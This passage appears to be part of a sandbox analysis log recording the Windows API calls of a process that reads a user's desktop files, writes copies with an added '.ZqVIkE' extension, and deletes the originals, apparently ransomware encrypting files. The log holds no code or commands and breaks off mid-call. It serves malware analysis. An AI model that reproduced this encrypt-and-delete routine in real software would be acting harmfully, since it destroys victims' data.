(dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0068.212] GetFileType (hFile=0x2ec) returned 0x1 [0069.934] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\xnjlX4qTThmIA.png", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\xnjlX4qTThmIA.png", lpFilePart=0x0) returned 0x29 [0069.935] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0069.935] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\xnjlX4qTThmIA.png" (normalized: "c:\\users\\fd1hvy\\desktop\\xnjlx4qtthmia.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x33c [0069.936] GetFileType (hFile=0x33c) returned 0x1 [0069.936] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0069.936] GetFileType (hFile=0x33c) returned 0x1 [0069.938] ReadFile (in: hFile=0x33c, lpBuffer=0x126a19a0, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x126a19a0*, lpNumberOfBytesRead=0x71ee98*=0x1791, lpOverlapped=0x0) returned 1 [0070.029] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x71ee78 | out: lplpMessageFilter=0x71ee78*=0x0) returned 0x80004021 [0070.029] PeekMessageW (in: lpMsg=0x71ee10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x71ee10) returned 0 [0070.032] WriteFile (in: hFile=0x2ec, lpBuffer=0x2723ea8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x71ee28, lpOverlapped=0x0 | out: lpBuffer=0x2723ea8*, lpNumberOfBytesWritten=0x71ee28*=0x1000, lpOverlapped=0x0) returned 1 [0070.034] ReadFile (in: hFile=0x33c, lpBuffer=0x126a19a0, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x126a19a0*, lpNumberOfBytesRead=0x71ee98*=0x0, lpOverlapped=0x0) returned 1 [0070.034] CloseHandle (hObject=0x33c) returned 1 [0070.034] WriteFile (in: hFile=0x2ec, lpBuffer=0x2723ea8*, nNumberOfBytesToWrite=0x7c0, lpNumberOfBytesWritten=0x71ed58, lpOverlapped=0x0 | out: lpBuffer=0x2723ea8*, lpNumberOfBytesWritten=0x71ed58*=0x7c0, lpOverlapped=0x0) returned 1 [0070.035] CloseHandle (hObject=0x2ec) returned 1 [0070.073] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\xnjlX4qTThmIA.png", nBufferLength=0x105, lpBuffer=0x71ea20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\xnjlX4qTThmIA.png", lpFilePart=0x0) returned 0x29 [0070.073] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\xnjlX4qTThmIA.png" (normalized: "c:\\users\\fd1hvy\\desktop\\xnjlx4qtthmia.png")) returned 1 [0070.130] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\YAWe8TJU.doc.ZqVIkE", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\YAWe8TJU.doc.ZqVIkE", lpFilePart=0x0) returned 0x2b [0070.130] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0070.130] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\YAWe8TJU.doc.ZqVIkE" (normalized: "c:\\users\\fd1hvy\\desktop\\yawe8tju.doc.zqvike"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x2ec [0070.229] GetFileType (hFile=0x2ec) returned 0x1 [0070.229] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0070.230] GetFileType (hFile=0x2ec) returned 0x1 [0071.531] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\YAWe8TJU.doc", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\YAWe8TJU.doc", lpFilePart=0x0) returned 0x24 [0071.531] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0071.531] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\YAWe8TJU.doc" (normalized: "c:\\users\\fd1hvy\\desktop\\yawe8tju.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x33c [0071.532] GetFileType (hFile=0x33c) returned 0x1 [0071.532] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0071.532] GetFileType (hFile=0x33c) returned 0x1 [0071.533] ReadFile (in: hFile=0x33c, lpBuffer=0x127a19d8, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x127a19d8*, lpNumberOfBytesRead=0x71ee98*=0x15682, lpOverlapped=0x0) returned 1 [0071.541] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x71ee78 | out: lplpMessageFilter=0x71ee78*=0x0) returned 0x80004021 [0071.541] PeekMessageW (in: lpMsg=0x71ee10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x71ee10) returned 0 [0071.707] WriteFile (in: hFile=0x2ec, lpBuffer=0x25b9ef0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x71ee28, lpOverlapped=0x0 | out: lpBuffer=0x25b9ef0*, lpNumberOfBytesWritten=0x71ee28*=0x1000, lpOverlapped=0x0) returned 1 [0071.708] WriteFile (in: hFile=0x2ec, lpBuffer=0x125a2948*, nNumberOfBytesToWrite=0x146a0, lpNumberOfBytesWritten=0x71ee88, lpOverlapped=0x0 | out: lpBuffer=0x125a2948*, lpNumberOfBytesWritten=0x71ee88*=0x146a0, lpOverlapped=0x0) returned 1 [0071.709] ReadFile (in: hFile=0x33c, lpBuffer=0x127a19d8, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x127a19d8*, lpNumberOfBytesRead=0x71ee98*=0x0, lpOverlapped=0x0) returned 1 [0071.709] CloseHandle (hObject=0x33c) returned 1 [0071.709] WriteFile (in: hFile=0x2ec, lpBuffer=0x25b9ef0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x71ed58, lpOverlapped=0x0 | out: lpBuffer=0x25b9ef0*, lpNumberOfBytesWritten=0x71ed58*=0x10, lpOverlapped=0x0) returned 1 [0071.709] CloseHandle (hObject=0x2ec) returned 1 [0071.795] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\YAWe8TJU.doc", nBufferLength=0x105, lpBuffer=0x71ea20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\YAWe8TJU.doc", lpFilePart=0x0) returned 0x24 [0071.795] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\YAWe8TJU.doc" (normalized: "c:\\users\\fd1hvy\\desktop\\yawe8tju.doc")) returned 1 [0071.934] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\_i-6kqrNHCc1Gp.xls.ZqVIkE", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\_i-6kqrNHCc1Gp.xls.ZqVIkE", lpFilePart=0x0) returned 0x31 [0071.934] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0071.934] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\_i-6kqrNHCc1Gp.xls.ZqVIkE" (normalized: "c:\\users\\fd1hvy\\desktop\\_i-6kqrnhcc1gp.xls.zqvike"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x2ec [0071.982] GetFileType (hFile=0x2ec) returned 0x1 [0071.982] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0071.982] GetFileType (hFile=0x2ec) returned 0x1 [0073.321] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\_i-6kqrNHCc1Gp.xls", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\_i-6kqrNHCc1Gp.xls", lpFilePart=0x0) returned 0x2a [0073.321] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0073.321] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\_i-6kqrNHCc1Gp.xls" (normalized: "c:\\users\\fd1hvy\\desktop\\_i-6kqrnhcc1gp.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x33c [0073.322] GetFileType (hFile=0x33c) returned 0x1 [0073.322] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0073.322] GetFileType (hFile=0x33c) returned 0x1 [0073.322] ReadFile (in: hFile=0x33c, lpBuffer=0x125b7020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x125b7020*, lpNumberOfBytesRead=0x71ee98*=0x6158, lpOverlapped=0x0) returned 1 [0073.322] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x71ee78 | out: lplpMessageFilter=0x71ee78*=0x0) returned 0x80004021 [0073.322] PeekMessageW (in: lpMsg=0x71ee10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x71ee10) returned 0 [0073.326] WriteFile (in: hFile=0x2ec, lpBuffer=0x269fe78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x71ee28, lpOverlapped=0x0 | out: lpBuffer=0x269fe78*, lpNumberOfBytesWritten=0x71ee28*=0x1000, lpOverlapped=0x0) returned 1 [0073.327] WriteFile (in: hFile=0x2ec, lpBuffer=0x26a28e0*, nNumberOfBytesToWrite=0x5170, lpNumberOfBytesWritten=0x71ee88, lpOverlapped=0x0 | out: lpBuffer=0x26a28e0*, lpNumberOfBytesWritten=0x71ee88*=0x5170, lpOverlapped=0x0) returned 1 [0073.327] ReadFile (in: hFile=0x33c, lpBuffer=0x125b7020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x125b7020*, lpNumberOfBytesRead=0x71ee98*=0x0, lpOverlapped=0x0) returned 1 [0073.327] CloseHandle (hObject=0x33c) returned 1 [0073.327] WriteFile (in: hFile=0x2ec, lpBuffer=0x269fe78*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x71ed58, lpOverlapped=0x0 | out: lpBuffer=0x269fe78*, lpNumberOfBytesWritten=0x71ed58*=0x10, lpOverlapped=0x0) returned 1 [0073.327] CloseHandle (hObject=0x2ec) returned 1 [0073.386] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\_i-6kqrNHCc1Gp.xls", nBufferLength=0x105, lpBuffer=0x71ea20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\_i-6kqrNHCc1Gp.xls", lpFilePart=0x0) returned 0x2a [0073.387] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\_i-6kqrNHCc1Gp.xls" (normalized: "c:\\users\\fd1hvy\\desktop\\_i-6kqrnhcc1gp.xls")) returned 1 [0073.408] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TE_1NVah4\\BwJ0o.pdf.ZqVIkE", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\TE_1NVah4\\BwJ0o.pdf.ZqVIkE", lpFilePart=0x0) returned 0x32 [0073.408] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0073.408] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\TE_1NVah4\\BwJ0o.pdf.ZqVIkE" (normalized: "c:\\users\\fd1hvy\\desktop\\te_1nvah4\\bwj0o.pdf.zqvike"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x2ec [0073.410] GetFileType (hFile=0x2ec) returned 0x1 [0073.410] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0073.410] GetFileType (hFile=0x2ec) returned 0x1 [0074.187] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TE_1NVah4\\BwJ0o.pdf", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\TE_1NVah4\\BwJ0o.pdf", lpFilePart=0x0) returned 0x2b [0074.187] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0074.187] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\TE_1NVah4\\BwJ0o.pdf" (normalized: "c:\\users\\fd1hvy\\desktop\\te_1nvah4\\bwj0o.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x33c [0074.188] GetFileType (hFile=0x33c) returned 0x1 [0074.188] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0074.188] GetFileType (hFile=0x33c) returned 0x1 [0074.189] ReadFile (in: hFile=0x33c, lpBuffer=0x128a1a10, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x128a1a10*, lpNumberOfBytesRead=0x71ee98*=0x4285, lpOverlapped=0x0) returned 1 [0074.198] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x71ee78 | out: lplpMessageFilter=0x71ee78*=0x0) returned 0x80004021 [0074.198] PeekMessageW (in: lpMsg=0x71ee10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x71ee10) returned 0 [0074.208] WriteFile (in: hFile=0x2ec, lpBuffer=0x278d630*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x71ee28, lpOverlapped=0x0 | out: lpBuffer=0x278d630*, lpNumberOfBytesWritten=0x71ee28*=0x1000, lpOverlapped=0x0) returned 1 [0074.211] WriteFile (in: hFile=0x2ec, lpBuffer=0x2790088*, nNumberOfBytesToWrite=0x32a0, lpNumberOfBytesWritten=0x71ee88, lpOverlapped=0x0 | out: lpBuffer=0x2790088*, lpNumberOfBytesWritten=0x71ee88*=0x32a0, lpOverlapped=0x0) returned 1 [0074.211] ReadFile (in: hFile=0x33c, lpBuffer=0x128a1a10, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x128a1a10*, lpNumberOfBytesRead=0x71ee98*=0x0, lpOverlapped=0x0) returned 1 [0074.211] CloseHandle (hObject=0x33c) returned 1 [0074.211] WriteFile (in: hFile=0x2ec, lpBuffer=0x278d630*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x71ed58, lpOverlapped=0x0 | out: lpBuffer=0x278d630*, lpNumberOfBytesWritten=0x71ed58*=0x10, lpOverlapped=0x0) returned 1 [0074.211] CloseHandle (hObject=0x2ec) returned 1 [0074.216] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TE_1NVah4\\BwJ0o.pdf", nBufferLength=0x105, lpBuffer=0x71ea20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\TE_1NVah4\\BwJ0o.pdf", lpFilePart=0x0) returned 0x2b [0074.216] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\TE_1NVah4\\BwJ0o.pdf" (normalized: "c:\\users\\fd1hvy\\desktop\\te_1nvah4\\bwj0o.pdf")) returned 1 [0074.235] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TE_1NVah4\\eY7Vy fW9.avi.ZqVIkE", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\TE_1NVah4\\eY7Vy fW9.avi.ZqVIkE", lpFilePart=0x0) returned 0x36 [0074.235] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0074.235] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\TE_1NVah4\\eY7Vy fW9.avi.ZqVIkE" (normalized: "c:\\users\\fd1hvy\\desktop\\te_1nvah4\\ey7vy fw9.avi.zqvike"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x2ec [0074.238] GetFileType (hFile=0x2ec) returned 0x1 [0074.238] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0074.238] GetFileType (hFile=0x2ec) returned 0x1 [0075.019] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TE_1NVah4\\eY7Vy fW9.avi", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\TE_1NVah4\\eY7Vy fW9.avi", lpFilePart=0x0) returned 0x2f [0075.019] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0075.019] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\TE_1NVah4\\eY7Vy fW9.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\te_1nvah4\\ey7vy fw9.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x33c [0075.019] GetFileType (hFile=0x33c) returned 0x1 [0075.019] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0075.020] GetFileType (hFile=0x33c) returned 0x1 [0075.021] ReadFile (in: hFile=0x33c, lpBuffer=0x129a1a48, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x129a1a48*, lpNumberOfBytesRead=0x71ee98*=0x57f9, lpOverlapped=0x0) returned 1 [0075.029] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x71ee78 | out: lplpMessageFilter=0x71ee78*=0x0) returned 0x80004021 [0075.029] PeekMessageW (in: lpMsg=0x71ee10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x71ee10) returned 0 [0075.030] WriteFile (in: hFile=0x2ec, lpBuffer=0x2678ff8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x71ee28, lpOverlapped=0x0 | out: lpBuffer=0x2678ff8*, lpNumberOfBytesWritten=0x71ee28*=0x1000, lpOverlapped=0x0) returned 1 [0075.031] WriteFile (in: hFile=0x2ec, lpBuffer=0x267ba60*, nNumberOfBytesToWrite=0x4810, lpNumberOfBytesWritten=0x71ee88, lpOverlapped=0x0 | out: lpBuffer=0x267ba60*, lpNumberOfBytesWritten=0x71ee88*=0x4810, lpOverlapped=0x0) returned 1 [0075.031] ReadFile (in: hFile=0x33c, lpBuffer=0x129a1a48, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x129a1a48*, lpNumberOfBytesRead=0x71ee98*=0x0, lpOverlapped=0x0) returned 1 [0075.031] CloseHandle (hObject=0x33c) returned 1 [0075.031] WriteFile (in: hFile=0x2ec, lpBuffer=0x2678ff8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x71ed58, lpOverlapped=0x0 | out: lpBuffer=0x2678ff8*, lpNumberOfBytesWritten=0x71ed58*=0x10, lpOverlapped=0x0) returned 1 [0075.032] CloseHandle (hObject=0x2ec) returned 1 [0075.083] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TE_1NVah4\\eY7Vy fW9.avi", nBufferLength=0x105, lpBuffer=0x71ea20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\TE_1NVah4\\eY7Vy fW9.avi", lpFilePart=0x0) returned 0x2f [0075.083] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\TE_1NVah4\\eY7Vy fW9.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\te_1nvah4\\ey7vy fw9.avi")) returned 1 [0075.096] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TE_1NVah4\\FkeLyGSgPK Fr.wav.ZqVIkE", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\TE_1NVah4\\FkeLyGSgPK Fr.wav.ZqVIkE", lpFilePart=0x0) returned 0x3a [0075.096] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0075.096] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\TE_1NVah4\\FkeLyGSgPK Fr.wav.ZqVIkE" (normalized: "c:\\users\\fd1hvy\\desktop\\te_1nvah4\\fkelygsgpk fr.wav.zqvike"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x2ec [0075.098] GetFileType (hFile=0x2ec) returned 0x1 [0075.098] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0075.098] GetFileType (hFile=0x2ec) returned 0x1 [0076.339] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TE_1NVah4\\FkeLyGSgPK Fr.wav", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\TE_1NVah4\\FkeLyGSgPK Fr.wav", lpFilePart=0x0) returned 0x33 [0076.339] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0076.339] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\TE_1NVah4\\FkeLyGSgPK Fr.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\te_1nvah4\\fkelygsgpk fr.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x33c [0076.339] GetFileType (hFile=0x33c) returned 0x1 [0076.339] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0076.423] GetFileType (hFile=0x33c) returned 0x1 [0076.425] ReadFile (in: hFile=0x33c, lpBuffer=0x125a1968, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x125a1968*, lpNumberOfBytesRead=0x71ee98*=0xe269, lpOverlapped=0x0) returned 1 [0076.434] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x71ee78 | out: lplpMessageFilter=0x71ee78*=0x0) returned 0x80004021 [0076.434] PeekMessageW (in: lpMsg=0x71ee10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x71ee10) returned 0 [0076.441] WriteFile (in: hFile=0x2ec, lpBuffer=0x2766dc0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x71ee28, lpOverlapped=0x0 | out: lpBuffer=0x2766dc0*, lpNumberOfBytesWritten=0x71ee28*=0x1000, lpOverlapped=0x0) returned 1 [0076.442] WriteFile (in: hFile=0x2ec, lpBuffer=0x2769838*, nNumberOfBytesToWrite=0xd280, lpNumberOfBytesWritten=0x71ee88, lpOverlapped=0x0 | out: lpBuffer=0x2769838*, lpNumberOfBytesWritten=0x71ee88*=0xd280, lpOverlapped=0x0) returned 1 [0076.443] ReadFile (in: hFile=0x33c, lpBuffer=0x125a1968, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x125a1968*, lpNumberOfBytesRead=0x71ee98*=0x0, lpOverlapped=0x0) returned 1 [0076.443] CloseHandle (hObject=0x33c) returned 1 [0076.443] WriteFile (in: hFile=0x2ec, lpBuffer=0x2766dc0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x71ed58, lpOverlapped=0x0 | out: lpBuffer=0x2766dc0*, lpNumberOfBytesWritten=0x71ed58*=0x10, lpOverlapped=0x0) returned 1 [0076.443] CloseHandle (hObject=0x2ec) returned 1 [0076.488] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TE_1NVah4\\FkeLyGSgPK Fr.wav", nBufferLength=0x105, lpBuffer=0x71ea20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\TE_1NVah4\\FkeLyGSgPK Fr.wav", lpFilePart=0x0) returned 0x33 [0076.488] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\TE_1NVah4\\FkeLyGSgPK Fr.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\te_1nvah4\\fkelygsgpk fr.wav")) returned 1 [0076.581] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TE_1NVah4\\gSZ285dW.wav.ZqVIkE", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\TE_1NVah4\\gSZ285dW.wav.ZqVIkE", lpFilePart=0x0) returned 0x35 [0076.581] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0076.581] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\TE_1NVah4\\gSZ285dW.wav.ZqVIkE" (normalized: "c:\\users\\fd1hvy\\desktop\\te_1nvah4\\gsz285dw.wav.zqvike"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x2ec [0076.628] GetFileType (hFile=0x2ec) returned 0x1 [0076.628] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0076.628] GetFileType (hFile=0x2ec) returned 0x1 [0078.187] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TE_1NVah4\\gSZ285dW.wav", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\TE_1NVah4\\gSZ285dW.wav", lpFilePart=0x0) returned 0x2e [0078.188] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0078.188] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\TE_1NVah4\\gSZ285dW.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\te_1nvah4\\gsz285dw.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0078.188] GetFileType (hFile=0x20c) returned 0x1 [0078.188] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0078.188] GetFileType (hFile=0x20c) returned 0x1 [0078.190] ReadFile (in: hFile=0x20c, lpBuffer=0x126a19a0, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x126a19a0*, lpNumberOfBytesRead=0x71ee98*=0xe10f, lpOverlapped=0x0) returned 1 [0078.197] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x71ee78 | out: lplpMessageFilter=0x71ee78*=0x0) returned 0x80004021 [0078.197] PeekMessageW (in: lpMsg=0x71ee10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x71ee10) returned 0 [0078.201] WriteFile (in: hFile=0x2ec, lpBuffer=0x265a870*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x71ee28, lpOverlapped=0x0 | 